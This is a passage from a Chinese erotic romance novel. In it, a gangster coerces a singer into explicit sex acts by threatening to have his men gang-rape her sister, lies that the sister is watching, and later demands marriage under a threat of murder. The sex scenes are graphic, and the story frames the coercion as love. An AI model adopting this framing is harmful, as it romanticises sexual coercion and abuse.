雷尧天冷哼了声,扬起残酷的笑。“现在还不打算怎么样,我请你们姊妹俩一块来作客,你的馨儿妹妹仍然完好无缺,不过……接下来我就不敢保证了。” 方蜜儿瞪大眼睛,一瞬也不瞬,感觉自己随时会晕倒。

“我那些手下对漂亮女人的兴趣可高得很,你妹妹很合他们口味,只要我点头,就有十几二十个男人等着轮流伺候你的宝贝妹妹,蜜儿,你觉得怎么样?”雷尧天口气恶劣得可以。

“不!不要!”方蜜儿真的被吓到了,小手抓住雷尧天的手臂,拼命摇头,“求求你不要伤害她,求求你,你要我做什么,我都愿意……求求你,不要伤害我妹妹,求求你……”

见她梨花带泪,哭得那么凄惨,雷尧天心头又是一阵郁闷。该死的!他竟然想揍自己两拳……

阴沈着性格的俊脸,他努力控制住脾气,低哑地问:“我要你做什么,你都愿意吗?”

方蜜儿扬起泪眼看着雷尧天,毫不犹豫地点头。“只要你别伤害馨儿,放馨儿回去,我什么都肯做。”

他抓住了她的弱点,他说得对极了,她根本没有选择的权利。

她到底爱上一个什么样的男人?好悲哀……

雷尧天突然间觉得很不是滋味,在她心里,他的地位怎么也比不上她那个宝贝妹妹吗?

“把衣服脱掉。”双目眯了起来,下颚线条变得很僵硬。

方蜜儿怔了怔,静望了雷尧天几秒,终于开始动作。

她没有选择余地,明明知道这个男人忍受不了别人反抗,她却不够聪明,以身试法;而自己造成的结果就要有足够的勇气去承受,她不能连累到妹妹,绝对、绝对不能。

在他灼热的注视下,她咬着唇,将身上的衣服一件件脱掉,嫩白肌肤在幽黄的灯光下闪动着迷人的色泽,仿佛邀请着男人来品尝。

他的黑瞳变得更深沈,眨也不眨地盯着她的一举一动。

直到她迟疑又略微慌张地将唯一蔽体的小碎花底裤脱下,他才粗哑地再次命令:“把腿张开。”

她忍不住轻颤,仍夹紧双腿,小手也羞涩地遮掩着胸脯和腿间。

“把腿张开!为了你妹妹,你不是什么都肯做吗?我要看你爱抚自己身体的模样是不是够淫荡?”

“啊?”她受伤地看着他,脸蛋好红,眼眶却委屈地蓄着泪水。

雷尧天狠着心告诉自己,他绝不允许任何人反抗他,今天,他一定要狠狠地惩罚这个小女人,让她彻底明白,从他身旁逃跑要付出怎样的代价。

“你不愿意吗?”他冷哼一声,笑得凉薄。

方蜜儿闭起眼睛,伤心地撇开头,双腿果然如他所愿地缓缓为他开启。 那朵娇美的花在她腿间绽放开来,在幽暗光线下透着粉红的色泽,可怜兮兮地颤抖着,美得让任何男人血脉债张。

她的裸背靠在床头,咬着唇,一手揉弄着前胸,一手沿着下腹滑向大腿,又从大腿缓缓探到女性浓密的三角林地。

她感觉到指尖传来的冰冷,那份冰冷在碰触到腿间的敏感时,却激进出可怕的震撼。

“嗯哼……”天啊!这实在是太羞耻了。她偏开脸不敢看他,手指却顺应着反应触摸得更深。

胸脯泛出奇异的胀痛,她揉搓着两团丰盈,又觉不够,不禁轻扯着顶端的两颗红梅。

她想将自己完全放空,但一波波的肉体刺激冲击着她的神经,就算不去看,还是深刻地感受到男人热火般的凝视——他正专注地看着她的“表演”。 “啊……”她忽然仰起玉颈,肌肤泛出一层美丽的嫣红,纤细的手指经过润泽后,已探进那朵蜜花里。

她轻轻挤进,又缓缓拔出,温暖的内在让她勾引出一缕缕的晶莹液体。 “嗯嗯……嗯哼……啊……”她的小脸沈浸在痴迷里,微张的红唇逸出动人心弦的娇喘,配合她手指进出的速度,越来越急促。

沈沦吧!堕落吧!她什么都不在乎了……

“该死的!”雷尧天猛地低咒,下一秒,已如恶虎扑羊般将方蜜儿压倒在床上。

他深深对住她凄迷的美眸,声音饱含情欲又充满愤怒。“你这个小妖精!”他没料到自己对她的刁难,竟会让自己这么难受。

拉来她的手,覆盖在自己腿间那勃起的男性坚挺上,他眯起双眼。“该死的女人,感觉到了吗?这是你引起的火!”

方蜜儿喘着气,双颊通红,小手被他强压在壮硕的象征上,虽隔着裤子,却烫得她心脏急促跳动。

她还有什么可以失去?没有了……都没有了……在他面前,她的自尊早就碎成千千万万片。

她根本没有能力对抗这个男人,之前的她太天真了;如今,她终于尝到苦果了。

迎向他的注视,她的眼眸好媚人,却凄迷地牵动唇办。“我会听话的,你要怎么做,我都会配合的。”

她会很乖很乖,再也不敢反抗,成为他私有的成人玩偶。

第八章

雷尧天全身赤裸地靠在床头,半眯着黑瞳,享受方蜜儿柔软掌心和唇舌在身上制造的快感。

她学习着男人教过她的方法,垂下头,以唇轻轻吮吻他的颈项,缓缓往胸膛移动。

在男性粗哑的唿吸中,她的娇唇含住他一边的乳头,那地方虽然不像女人如此丰满圆润,却一样布满敏感的神经,在她刻意的舔弄下,胀得更为坚硬。 “看来,这些年我把你教得很好。”雷尧天声音低沈,眼底燃烧着两把火焰,享受着她的服务,粗掌也没停下来,不断在她美好的裸背上爱抚,还不时滑到她的胸口,揉捏着那两团香乳。

方蜜儿气喘吁吁,满脸通红,努力地控制着自己按照他要的方式进行。 “继续,我要你尽全力取悦我。”雷尧天如帝王般命令。

“嗯。”方蜜儿逼回鼻中的酸楚,早就分不清楚心里是爱他多一些,还是恨他多一些。

她亲吻着他的胸,小手爱抚着古铜色的肌肉,来到另一边尚未受到眷顾的胸膛,指尖轻搓着男性乳尖,让那一点也感受到无比的刺激和痛快。

雷尧天仰起颈项喘气,五指探进方蜜儿秀丽的发丝,双腿间的分身已高高地昂扬,一股惊人的热力不断地聚集,几乎要将他撑爆。

“含住他!”他拉住她的手压在身下那团火源上头。

方蜜儿被动地握住它,感觉强悍的生命力在掌心晃动,她慢慢地抚弄着、上下地圈套着,感觉那热度在她小手里直线飙升。

张开嘴,她让那团火源进入小小的口中,以温热将他包裹。

“唔……”雷尧天微微擡起腰,进入得更深,抵着她的小舌。

不需要男人给予任何指导,她捧住他坚挺的一部分,开始以手、以唇、以嘴为他套吮,将那份巨大滋润得更加肿胀骄傲。

再也不能忍受的雷尧天低吼一声,忽然抱住方蜜儿,翻身将她压在身下。 他动作是急切而且粗鲁的,扳开她的双膝,直接就进入她的身体。

“嗯哼……”方蜜儿咬着下唇,别开脸。

其实并不觉得疼痛,她腿间的湿意早已提供润滑的作用,她只是感到难堪,在这样近乎卑贱的对待中,她仍旧尝到身体的愉悦,仍旧在取悦他的同时,自己也被情欲挑动,起了反应。

他压着她律动起来,不断地撞击。他的进攻像永远也得不到满足,要的那么深、那么用力,顶到整根热源完全埋进她的体内,两颗浑圆的肉团撞击着她的大腿内侧,发出奇异又羞人的声音。

“啊啊……嗯啊……”方蜜儿发出破碎的呻吟,这愉悦感既陌生又熟悉,既痛快又痛苦,她承受着,双腿虚弱地垂在他大腿的两侧,小手仍爱恋地抚摸他的裸体。

“舒服吗?蜜儿,你喜欢我这样做,对不对?”雷尧天似笑非笑,声音变得好沙哑、好有磁性,不放过任何撩拨她的机会。

“尧天,求求你,不要伤害馨儿,求求你……”

“你心里难道就只有你那个该死的妹妹吗?”雷尧天心里好不是滋味,两人的身体如此交缠,他此刻正深深地爱着她,要她为他疯狂失控,那张红滥滥的性感小嘴却吐出教他生气的话。

“馨儿她是局外人,她根本不知道我们之间的交易,她……唔……你说过,只要我乖乖的,你就不会让人伤害她的,你说过的……”她急着寻求他的保证,适才他用来威胁她的那些话,狠狠吓着她了。

馨儿不能出事,她的前途那么美好,她不能出事……方蜜儿迷迷煳煳地想着,身体早就在雷尧天的掠夺下做出种种羞耻的反应,她不想也不能抗拒,只求他放过馨儿。

忽然,雷尧天俯下脸,舔弄方蜜儿发红的可爱耳朵,不怀好意地低声说道:“原来,馨儿还不知道我们的事?”

他沈沈地笑,腰杆仍持续挺撤,“你想……要不要让她亲眼看看她清纯高雅的姐姐为她做了多大的牺牲?因为要完成她的梦想,要提供她昂贵的学费和生活费,情愿为男人张开双腿,被男人压在身下?我甜美的蜜儿,是不是该让馨儿明白这一切?”

“不!不要!”眼泪纷纷坠落,方蜜儿殷红的小脸刷过一丝苍白。

“为什么不?你会害羞吗?”雷尧天的声音好凉薄,“我可以安排馨儿从另一个房间透过双面镜墙观看,你不会发现她的存在,她却可以清清楚楚看到房里发生的一切,怎么样?”

“不要!不要!”方蜜儿拼命摇头,身体带来的强烈欢愉和心里难以承受的委屈,让她几乎要崩溃了。“求求你不要这么过分,求求你……呜呜呜……不要这么欺负我,不要……”

“说不定……馨儿现在就在隔壁看着我们,看我怎么爱你……”

“不!”方蜜儿小脸瞬间刷白,双手忽然用力挣扎,修长的玉腿乱蹭乱踹,急着摆脱雷尧天的压制,“放开我!”

她真信了他的话?雷尧天脸色铁青,矛盾得不得了。

他是气到快要爆炸了,才会拿这么恶劣的谎言欺骗她,没想到她真相信了,还挣扎得这么激烈!

“不要再动了,蜜儿,你会伤害到自己。”他哑声命令,可惜收不到任何效果,底下的女人仍边哭边扭动身躯,他只好抓住她的双手,压在床上。

“呜……你好坏!好过分!为什么这么对我?为什么?为什么?”方蜜儿哭得梨花带泪。

为什么?他也搞不清楚,就是想到她心里最重要的人不是他,他就气到一肚子火,变态得想要杀人泄忿。

“你说得对,我就是坏、就是过分,就是要这样欺负你。”他狠狠吻住她的小嘴,猛烈加速腰的摆动,用力抽插。

“啊、啊啊、啊……”她的呻吟全数落进他的口中,只能紧皱着眉,不断发出痛苦又甜蜜的闷哼。

“你是我的,我高兴怎么欺负你,就怎么欺负你!”

他抱着她一起沈沦,在情欲的狂潮中翻翻覆覆,然后,他心中的不满和愤怒,全发泄在浓烈的纠缠中,在她体内爆炸了。

男人和女人双双发出极致的叫喊,他紧紧抱着怀里的她,一块攀登到最高峰……

方蜜儿独自在凌乱的大床上醒来,怔怔地坐在床上片刻,才像游魂似地拖着脚下床,在陌生的宽敞空间里找到浴室。

她知道自己现在还在纽约市里,因为方才从落地窗往下望去,外边仍然是纽约市的风景。

这里又是他另外的一处产业吗?她恍惚地想着,甩了甩头,嘲弄地牵动唇瓣。 他的事,她再也不去理会,再也不要放在心上。她可以做到的,慢慢来,她一定可以做到的!

这样的话,她就不会再为他伤心,总有一天,她一定能将他从心中彻底挖除。 花了半小时将身体清洗干净,原本要再穿起自己的衣裙,但针织毛衣被男人粗鲁的力道扯坏,小底裤和胸罩也都在昨夜被毁得惨不忍睹。

其实,浴室的置衣架上摆放着整套全新的内衣裤和新的衣裙,她挣扎了许久,最后还是妥协了,穿上他为她准备的衣服。

将长发随意地绑成马尾,她熘到门边,试着旋转门把。

原本还以为会被反镇在里头,可是她却轻易地打开了。

探出小脸,装潢古典的走廊上没见到半个人影,她心脏狂跳,却迟迟不敢偷熘,因为馨儿还在他手里,她怕这一走,他会把怒气发泄在妹妹身上。

不知馨儿状况怎么样了?希望她好好的,千万别出事……

绞着纤白的十指,她怔怔站在走廊上,忽然间,离她三大步的电梯“咚!”地一声,门缓缓滑开……

见到从电梯里走出来的男人,方蜜儿脸蛋发烫,倔强地撇开视线。

但雷尧天不允许她摆出冷淡的态度,笔直走到她面前,一手揽住她的腰,一手扶住她的后颈,深深吻住她。

她被动地承受着,小嘴任由他侵入,吸取女性的甜美蜜津。许久,他终于擡起头,双目闪烁着火焰,直勾勾地凝视着她。

“又想从我身边逃走吗?”

“我……没有。”她再次撇开脸,他放在颈后的大手却不允许,强迫她迎向他的注视。

“看来,你妹妹真的是很好用的一张牌,为了她,你真的什么都愿意做。”他似笑非笑,嘲讽中带着明显的气恼。

她不知道该怎么反应,只好抿着唇不说话。

“从现在开始,我到哪里,你都要跟在我身边。”他霸道地说。

闻言,她扬起秀眉。“那馨儿呢?你是不是放她走了?我可以跟着你,一辈子乖乖跟在你身边,直到你厌倦我、不要我了,只要你放过馨儿,我永远不会逃:水远……都是属于你的。”

雷尧天深沈地看着方蜜儿,沉默了会儿,终于发出冷笑。“很好,只要你乖,你的宝贝妹妹就不会有人动她。”

方蜜儿咬咬唇,深吸了口气。“谢谢你。”

这实在太荒谬,他过分又霸道地掠夺了她的身体、她的自由,她却还能用那么平静、温柔的语气对他道谢?

雷尧天不知道自己怎么了,只知道心头越来越闷,像被一块大石头狠狠压住,让他喘不过气来。

他想抓住她的肩膀狂摇,想对着她大叫,想看她最真实的感情,而不是在他面前努力地压抑一切。

这个不知天高地厚的女人,他为什么就是抛不下、放不开?

她到底有什么好?让他莫名其妙竞升起一股怪异的恐慌,害怕抓不牢她……他想不通,为什么?

假咳了咳,雷尧天尽量保持面无表情,手掌却舍不得从方蜜儿腰上撤走,只能阴沈地说:“我等一下就离开这里,你跟我走。”

方蜜儿一怔,神情无辜地咬了咬唇,轻声问道:“我们是要回拉斯维加斯吗?” “我们不回赌城。”雷尧天将鼻子凑近,嗅着方蜜儿身上舒服的气味,“我必须到旧金山处理一些事。”

是有关道上一些利益画分的事情,他没打算让她知道太多,只随意带过。 “哦。”方蜜儿点点头,一会儿才又鼓起勇气说:“在离开之前,我想……我可不可以跟馨儿说说话?”

“你是怕我说话不算话,伤害你妹妹吗?”

被他深沈的目光瞧得满脸通红,她努力控制心跳,强迫自己平静下来。 “我知道你不会伤害馨儿,因为你已经答应我了,只要我跟你走,你就不会伤害她,我知道你一定会遵守诺言的……”

雷尧天心脏震了震,紧盯着怀中清丽的小脸,抿着薄唇忽然不出声了。 “你生气了?”方蜜儿不禁轻颤,“对不起,我……对不起……”

“我说我没在生气。”

方蜜儿怔住,眸底闪动着疑惑的光芒。

雷尧天声音更粗地说:“该死的!我说我没有生气,你听不懂吗?”

“我……对不起。”

雷尧天立刻脸一黑。“你再说一句对不起,我就不让你见你妹妹。”

“啊?”方蜜儿赶紧咬住下唇,张着大眼睛,蓄着蒙眬的水雾,好无辜地望着明明很不爽、却硬要否认的男人。

唉!她实在不懂他呀!

不!她也不想懂了,那太过深奥,想去弄懂,只会弄得自己遍体鳞伤,她怕了,真是怕了……

“馨儿?”看见妹妹,方蜜儿一颗心终于安定下来。

“姊!”方馨儿声音充满兴奋,美丽的脸庞绽开笑花,奔过来拉住刚进房的方蜜儿,将她带到床边,“姊,你看,我买了好多东西耶!”

望着堆了满床的大小纸袋、纸盒和衣服、裙子、包包、靴子、高跟鞋等等,简直琳琅满目,全是名牌货,方蜜儿瞪大眼睛,不明就理地问:“这是怎么回事?你哪来那么多钱买这些东西?”

“我们不是昨晚被带来这里吗?我醒过来时没看到你,本来好担心,又不知道绑架我们的人是谁,后来你那个大老板出现了,他告诉我,你在他那里谈接下来几年的合约内容,他说不想让你跳槽到别家赌场驻唱,所以逼不得已才用比较强硬的手段,他还说他没有恶意……”

“他这么说,你就相信了?”方蜜儿瞪着妹妹。

方馨儿天真地点头。“为什么不相信?呵呵呵,姊,你知道吗?你那个老板人很慷慨耶!他说为了弥补他手下对我失礼的行为,所以就派人开着高级房车载我出去逛了一天,还让我尽情血拼,把帐单都挂在他名下,姊,他真是大好人,我挺喜欢他的。”

“馨儿……”方蜜儿觉得好无奈,根本不知道该怎么跟妹妹解释这一切。 突然,脑中闪过一个疑惑,她涨红着脸问:“你没看见我们……我们在那个吗?”

“在哪个?”方馨儿眨眨眼。

方蜜儿面红耳赤,感觉整个人热得快冒烟了,仍鼓起勇气试探地问:“你昨天晚上一直都待在这里,你……他没有要你看我们……我……我和他在做……我和他……”

“姊,你到底在说什么呀?结结巴巴的,谁听得懂啊?我怎么知道你和他昨晚在做什么呀?”

所以,那男人根本是在骗她?

他故意欺骗她,说馨儿可能在某处看着他们上演一幕幕亲热的镜头,看见她被他压在身下,疯狂痴迷、不知羞耻的模样……

这男人就爱欺负她,见她惊慌失措,真让他感到开心吗?

方蜜儿忍不住叹气,不知道自己和他的这一段“孽缘”,到哪个时候才能有解决的方法?

“姊,怎么了?”方馨儿拉拉方蜜儿的手,担心地问。

“我没事。”方蜜儿虚弱地笑了笑,“把这些名牌的东西都拿去退掉吧!” “为什么?!”方馨儿瞪大漂亮的眼眸。

可能她天生就爱流行的商品,加上学习和接触的领域也和流行摆脱不了关系,因此对于一些美丽的物品比较没有抵抗力。“姊,我不能拥有它们吗?为什么要全部退掉呢?”

“是呀!为什么?我也很想知道。”

方蜜儿还没回答,雷尧天低沈的声音已在背后响起,他就站在门边,一派轻松的模样。

“基本上,我觉得馨儿买下的每件东西都非常有品味,非常适合她,为什么要她退掉?”

雷尧天迈开步伐靠近她们,望向方蜜儿时,黑瞳却闪烁着近似调侃的意味,慵懒地说:“难道……你在嫉妒吗?我对馨儿好,让你心里不舒服吗?” “我……我不是……我没有……”老天!他故意要破坏她们姊妹俩的感情吗? 方蜜儿戒备地望着雷尧天,心跳得好快,好怕他接下来会说出更教人难堪的话,让她接不了招。

没想到一旁的方馨儿却急急地说:“姊,你不要误会啦!我知道你们正在交往,你们彼此喜欢对方,还爱得不得了,我才不想夹在你们中间呢!你心里不要不舒服啦!”

方馨儿的话,同时震愕了两个人。

方蜜儿不禁和雷尧天相互对视,她的脸蛋比熟透的番茄还红。感觉心脏快要跳出喉咙,真想挖个地洞把自己埋进去算了。

“馨儿,你……不要胡说。”雷尧天的眼神让方蜜儿双腿发软,她赶紧撇开小脸,在他深思的注视下感到浑身不自在。

“我没有胡说呀!你看他的目光很不一样,雷先生看你的目光也很不一样,所以我才会猜你们应该在交往,厚——姊,你真的很不够意思耶!我是你亲妹妹,连这种事都要瞒我,这样不行哦!我又不会反对你和他在一起,而且你也该找个好男人嫁啦!雷先生很不错呀!”

“馨儿,求求你,不要再说了。”再说下去,她怕会当场哭出来,这实在太丢脸、太难堪了。

“我说错什么了吗?”方馨儿一派天真地问。

方蜜儿咬着唇,难受地垂下脸蛋。“别说了……”

“为什么不要馨儿说?我觉得她说得很对。”雷尧天突然开口,而且还说出这种话来。“蜜儿,你是该找个男人结婚了……你不这么认为吗?”

“啊?”方蜜儿一怔,定定地望着雷尧天。

这是怎么回事?他又有什么目的?

雷尧天高深莫测的神情像在暗暗计画着什么,让方蜜儿轻轻战栗,头皮没来由地发麻。

第九章

结果,方蜜儿还是没说服方馨儿将买下的那堆东西退还。

姊妹俩聊了一会儿,雷尧天便派人开车送方馨儿离开,方蜜儿也随即跟着雷尧天前往机场,搭乘私人飞机飞往旧金山。

从离开纽约那栋大厦驱车前往机场,直到搭上飞机,方蜜儿的精神都有些不集中,一直想着雷尧天在方馨儿面前所说的那些话。

他是随口说说、逗着她们姊妹玩?还是心里另有想法?

他的段数太高了。总说一些高深莫测的话,让人捉摸不定。

方蜜儿内心不禁苦笑,明明对自己下了几百道命令,别再费心去思索他的事,可是仍然控制不住,唉!这真的很糟糕。

“想什么?”雷尧天温热的手忽然揽紧方蜜儿的腰。

她撞进一片宽阔的胸膛,脸蛋微微泛红,有些不自在地扭动身体。

“不要这样,有别人……”机舱里还坐着他几名手下呢!

方蜜儿害羞的模样让雷尧天觉得好笑,竟然大发善心,没有让她难堪。 他眼眉随意扬了扬,那几个手下便知趣地全部退到另一边的机舱,还帮他们拉上阻隔视线的布帘,为他们制造独处的空间。

“这样就没有别人了。”他干脆将她抱到大腿上,亲匿地用鼻尖蹭着她的耳朵,还不断撒下轻吻。

“尧天……”方蜜儿叹气,体温迅速窜升。“你不是想在这里做……那件事吧?”

“做哪件事?”雷尧天坏坏地问,双手从她的腰往上移动,揉抚着浑圆的酥胸。

“嗯……”她不由自主地仰头,软软靠在他身上,酥麻的快感正在侵蚀她的理智,“你明明知道的……你好讨厌……”

雷尧天发出低低的笑声。“当女人嘴上说讨厌时,通常喜欢得不得了。蜜儿,我的蜜儿,你也是口是心非的女人吗?”

他灵巧地解开她外衣钮扣,拉下那件性感的内衣,粗糙的掌心终于毫无隔阂地贴住她粉嫩的肌肤。

“我们不能在这里做……”方蜜儿拧着秀眉,软弱无力地摇头,试图拉回最后一丝理智。

“为什么不能?”他的手指夹住她的乳尖,害她全身打哆嗦,像被瞬间通了电似的。

“你的那些、那些人会听到,他们……会听到的……”

在他的撩拨和掠夺下,她总是不能克制地叫喊,那些人就在布帘的另一边,如果她又喊得那么大声,一定会被听到,那真的好丢脸。

雷尧天哈哈大笑,心情似乎很好。“蜜儿,你想叫就叫,他们就算听到也会装作听不到,没有我的命令,不会有人敢进来打扰我们的。”

“可是……啊!”

她低叫一声,因为男人忽然低下头,张开嘴含住她的乳尖,技巧高超地吸吮起来。

“尧天,啊……”好热、好热,在他的唇舌和掌心下,她仿佛就要融化了,也仿佛变成一道最甜美的点心,被缓缓送进他等待已久的嘴里,供他品尝。 “舒服吗?蜜儿,你喜欢我所做的,是不是?”

“嗯……”她可怜兮兮地咬着下唇,不敢发出呻吟,但鼻腔却控制不住地哼出诱人的声音。

雷尧天给了方蜜儿一记重重的法式热吻,吻得她全身发软,只能瘫在他腿上,像个漂亮的洋娃娃任他摆弄。

他手指慢慢往下爱抚,终于探进她腿间,那里不需要再多的刺激,已渗出温暖的湿意。

女性的湿滑黏丝沾染了他的手指,让他抚触得更深,舍不得离开,而他身体的某个部分也跟着昂扬起来,迅速地集中火力,骄傲地顶着她的翘臀。

“蜜儿,我要你抚摸我。”他低哑地要求。

她恍如被催眠般,眼睛水水雾雾的,唇办如同红玫瑰美丽地盛开着。

她回吻着他,柔软小手为他解开衬衫的钮扣,探进他赤裸的胸膛上游移。接着,那双小手越来越大胆,越摸越下面,解开他的腰带和裤头,缓缓拉下拉链,伸进去爱抚那处惊人的热源。

“蜜儿……”他深深吸吮着她的丁香小舌,腿间的巨大在她的挑逗下传来可怕的震撼。

他粗声喘息,全身紧绷起来,体温飙得比她还高。“蜜儿,坐上来。”他的命令竟带着一丝祈求。

她也按捺不住了,两人都已经无法再忍耐。

他为她扯掉小裤,她满脸通红地呻吟着,张开腿圈坐在他腰上,让他灼热的源头滑进她的体内,完全充满了她。

“啊……尧天……”

“太棒了!”

两人同时发出叫声,那结实的结合带来不可思议的痛快,每一根神经、每一颗细胞都感受到惊人的张力,要人疯狂。

他扶住她的细腰开始顶弄起来,在她细致的花径里进出,让她的紧窒包裹住他的坚挺,他的黑眸好近好近地凝视着她,炽烫的气息拂在她泛红的肌肤上。 “蜜儿,你好美,美得不可思议……”她是他的,一辈子都是他的,没有人可以将她夺走。

她的双手紧紧攀在他的宽肩上,随着他的挺撤,那张被吻得红滟无比的小嘴不断逸出吟叫,美丽的酥胸也随着男人的力量上下摆晃,荡漾出教人血脉债张的乳波。

他发出野兽般的低吼,黑瞳燃烧着火焰,那把热火也同时燃烧了她。

男与女的激情持续了许久,久到她被拱上高潮的云端好几次,忽然,男人吮住她的耳垂,低哑又激切地说:“蜜儿,我要你生下我的孩子,我要你……帮我生很多孩子!”

方蜜儿迷迷煳煳的,不太确定是否真的听进雷尧天的话,但她窈窕的身躯却战栗起来,美丽的腿圈住他的腰,圈得好紧好紧……

“啊啊——”雷尧天到达了临界点,那团烈火爆炸开来,他狂叫着用力挺进她体内最深处,埋在那温暖的所在颤动不已。

他将充满生命力的热能尽情喷洒,在她甜美的体内。释放下自己……

激情过后,方蜜儿窝在雷尧天怀中,全身软绵绵也懒洋洋。机舱里十分安静,只隐隐约约听到外面的引擎声。

“睡着了吗?”雷尧天低沈的嗓音静谧地回荡,掌心有一下没一下地抚着方蜜儿散在背上的发丝,像爱抚着自己的宠物。

方蜜儿原想装作没听见,让他以为她真的睡着了,可是逃避毕竟不是办法,她咬咬软唇,还是轻哼了声,螓首在他胸前蹭了蹭。

“在想什么?”雷尧天又问。

方蜜儿并未立即回答,沉默着,轻垂的双颊有些泛红。

他忽然将她微微推开,以指关节勾起她的小脸,近近地凝视着。“为什么不说话?我要知道你在想些什么。”

他呀!总是那么霸道。蜜儿幽幽想着,被动地迎向他的探索。

“你说……你要我为你生孩子?生很多的小孩?”才问完,她的脸庞马上红得快要冒烟。

雷尧天挑眉,硬是不允许她避开他的目光。“你不喜欢小孩?”

方蜜儿无辜地眨眨眼,下意识地回答:“喜欢啊!我喜欢小孩,他们很可爱。” 雷尧天扯唇笑了,心情似乎挺好地又问:“那么,你不想生自己的孩子吗?” “我想。”方蜜儿答得好快,心咚咚地急跳了两下,眉宇间好羞涩。“我……我想……”

雷尧天点点头,拇指抚触着方蜜儿发烫的颊,深深望入她的眼底。“你喜欢小孩,也想生自己的小孩,那我们就来生一窝孩子。”

“啊?”她怔然,还是搞不懂。

他给了她一个吻,很浅,只轻轻碰触她的唇,却传达着奇妙的电流,仿佛他好珍惜好珍惜她,把她放在心里最重要的位置。

不!不可能的!她不要再自作多情了,对他而言,她只是一件私人物品罢了,她什么也不是!

方蜜儿唿吸变得急促,胸房如同小鹿乱撞,脑子里一再地告诫自己,却还是控制不住渴望。

方蜜儿啊方蜜儿,难道你就是学不乖吗?

“怎么又不说话了?”雷尧天似笑非笑,眼神黑幽幽,里头映着两个她。忽然,他神情一凝,声音透着紧绷,“还是,你不想生我的孩子?”

“不是!”她答得好急,让男人的脸色一下子缓和下来。

“那就是想啰?”

“嗯!”她不由自主垂下俏长的睫毛,深吸了口气后,才又缓缓迎向他。“尧天,如果我们真的有孩子的话,你是不是愿意领养他?我不想让孩子变成私生子,如果用领养的方式,我想应该会比较好吧,对不对?”

闻言,雷尧天神情变得有些古怪。

接触到他的目光,方蜜儿心一紧,呐呐地问:“我……我说错什么了吗?” 男人依然维持静悄悄的最高品质,方蜜儿只好鼓起勇气,再次开口。

“你如果不想用领养的方式,孩子没有办法登记户口,以后就学、工作都会很不方便的……而且,我不要外面的人笑他是私生子,那样我会觉得很对不起孩子,所以我们如果有孩子的话,我……唔!”

方蜜儿的嘴再度被雷尧天的热吻封住,他吻得她晕头转向,许久过后,他才再度擡起头,直勾勾地凝视着她有如红苹果的小睑。

“我不想领养小孩。”雷尧天低沈地说。

方蜜儿怔了怔,好半晌才明白他的话,迷蒙神情变得有些落寞。“哦。” 雷尧天挑眉。“‘哦’是什么意思?”

方蜜儿无法解释,她想要孩子,好想好想,想得心都痛了,可是他不愿意领养两人的小孩,不愿意给孩子一个姓氏,往后,孩子的路肯定会走得比任何人都辛苦,他不可能不知道……

“我不想孩子变成私生子。”方蜜儿深深唿吸,眸中渐渐泛出泪光,鼻子没来由地发酸,“我想要孩子,可是不要他这么辛苦……”

“我有两全其美的方法,你要不要听?”雷尧天双臂收紧,几乎要将方蜜儿柔软的身体挤进自己的胸膛里。

她仰望着他,下意识地咬着唇。

他将她抱高了些,温热气息喷在她秀美的巧耳上,慢条斯理地说:“你可以嫁给我,这样,我们的孩子就不用当私生子,我也不用办领养的手续,这方法真好,你说是不是?”

啊?什么?!

方蜜儿吓傻了,反射性地将雷尧天推开,连小嘴儿都忘记合起来,瞠目结舌、定定地盯住他莫测高深的睑。

“这主意不好吗?”雷尧天习惯性地挑动浓眉,目光锐利,“还是……你不想嫁给我?”

这个冲击实在太大,方蜜儿小脸惨白一片,蓄在眼眶中的泪珠竟然在此时顺着脸颊滑下来。

“该死的!你给我说话啊!”雷尧天下颚紧绷,受不了方蜜儿的沉默。 她因他的低吼轻颤了一下,终于回过神来。“我……你为什么要和我结婚?” 老天!这到底是怎么回事?他竟然说出这样的话,她头好晕,根本没办法思考。

雷尧天抿抿薄唇,脸上有可疑的红晕,假咳了一声清清喉咙:“你不是要孩子?刚好,我也想要孩子。还有,我绝对不会允许我的孩子变成私生子。” “这个不是理由。”方蜜儿忍不住轻嚷,她还以为他心里其实是有那么一点点喜欢她的,就算不是很多,只要一点点,她也心甘情愿;可是,根本不是她所想的那样,她真的太爱作梦了吗?

“这就是理由,我要你嫁给我。”雷尧天恶霸地说。

“你不能这样,结婚是很神圣的事,你不可以这样!”

这个超级顽固又倔强的女人!雷尧天将方蜜儿抱得超紧,让她动弹不得,一字一句地说:

“听好,你那个宝贝妹妹说,你也该找一个男人结婚了,她说得很对,但这一辈子,你如果要嫁别人,我告诉你,那是绝对不可能的事,因为你是我的,你想嫁人,也只能嫁我;你想生小孩,也只能生我的孩子,你要是敢对别的男人有意思,我绝对会杀了他!”

她被他的语气吓着了,又气又伤心,不懂明明结婚应该是一件好快乐的事情,为什么到最后会被他这样威胁?

更何况,有过他之后,她的心早已收不回来,又怎么能对其他的男人产生爱慕之意?

他为什么每一次都要这样欺负人?

为什么每一次她都被伤得那么重?

为什么他能将自己保护得那么好,不让谁窥探到内心,却恶劣地强迫她吐露出真心情意?为什么?

越想越觉得委屈,方蜜儿瘪瘪嘴,不禁痛哭起来,眼泪更像无法关紧的水笼头不停流泄出来,浸湿了一张通红的脸蛋,楚楚可怜,再强悍的人看了都会忍不住心软。

这次换雷尧天狠狠被吓住了,在一起这么久,他还是第一次见到她这样的哭法,惊天动地又丝毫不顾形象,仿佛受到无限大的委屈,非得好好发泄不可,才短短时间,就哭得他胸前湿了一大片。

“蜜儿……”他想哄她,可是却不知道说什么才好,结果很没有创意地说:“不要哭了。”

“呜……我偏要!呜……”她抡起拳头捶着他的胸,但那力道对他来说,轻得像在帮他搔痒,反倒是她的眼泪,滴在他皮肤上,烫得他胸口闷痛。

“别哭了。”他在心里叹气,俯首吻住她的小嘴,发现这个方法对于制止她的眼泪十分有效,他吻得更彻底,舌头在她的红唇中深入浅出,霸占了她的唿吸,又试图搅乱她的思绪。

“你并不爱我,尧天……”方蜜儿硬是强迫自己抽离他唇舌的掠夺,眨着迷蒙大眼,想把话说清楚。

“所以,娶不娶我对你而言都无所谓,因为你只是要孩子而已,而我……我想我是比较贪心,我想要爱人,也想被人所爱,我想爱孩子,想爱孩子的父亲,也想让他们爱我,我……”

方蜜儿忽然无声,眼泪滚滚而下,在他深刻的注视下努力控制着凌乱的心。 忽然,雷尧天低沈地问:“你所谓的爱,是什么样的东西?你是爱我的,我说的没错吧?可是,你为什么爱我?”

方蜜儿一瞬也不瞬地凝视着雷尧天,嘴角有丝迷离的弧度,幽幽地说:“是的,我想,我是爱你的;但为什么爱你,我也不明白,因为爱这样的东西,是完全没有道理可循的。”

爱就爱了,她发觉,她可以对他坦然,她不愿再试图掩饰一切。

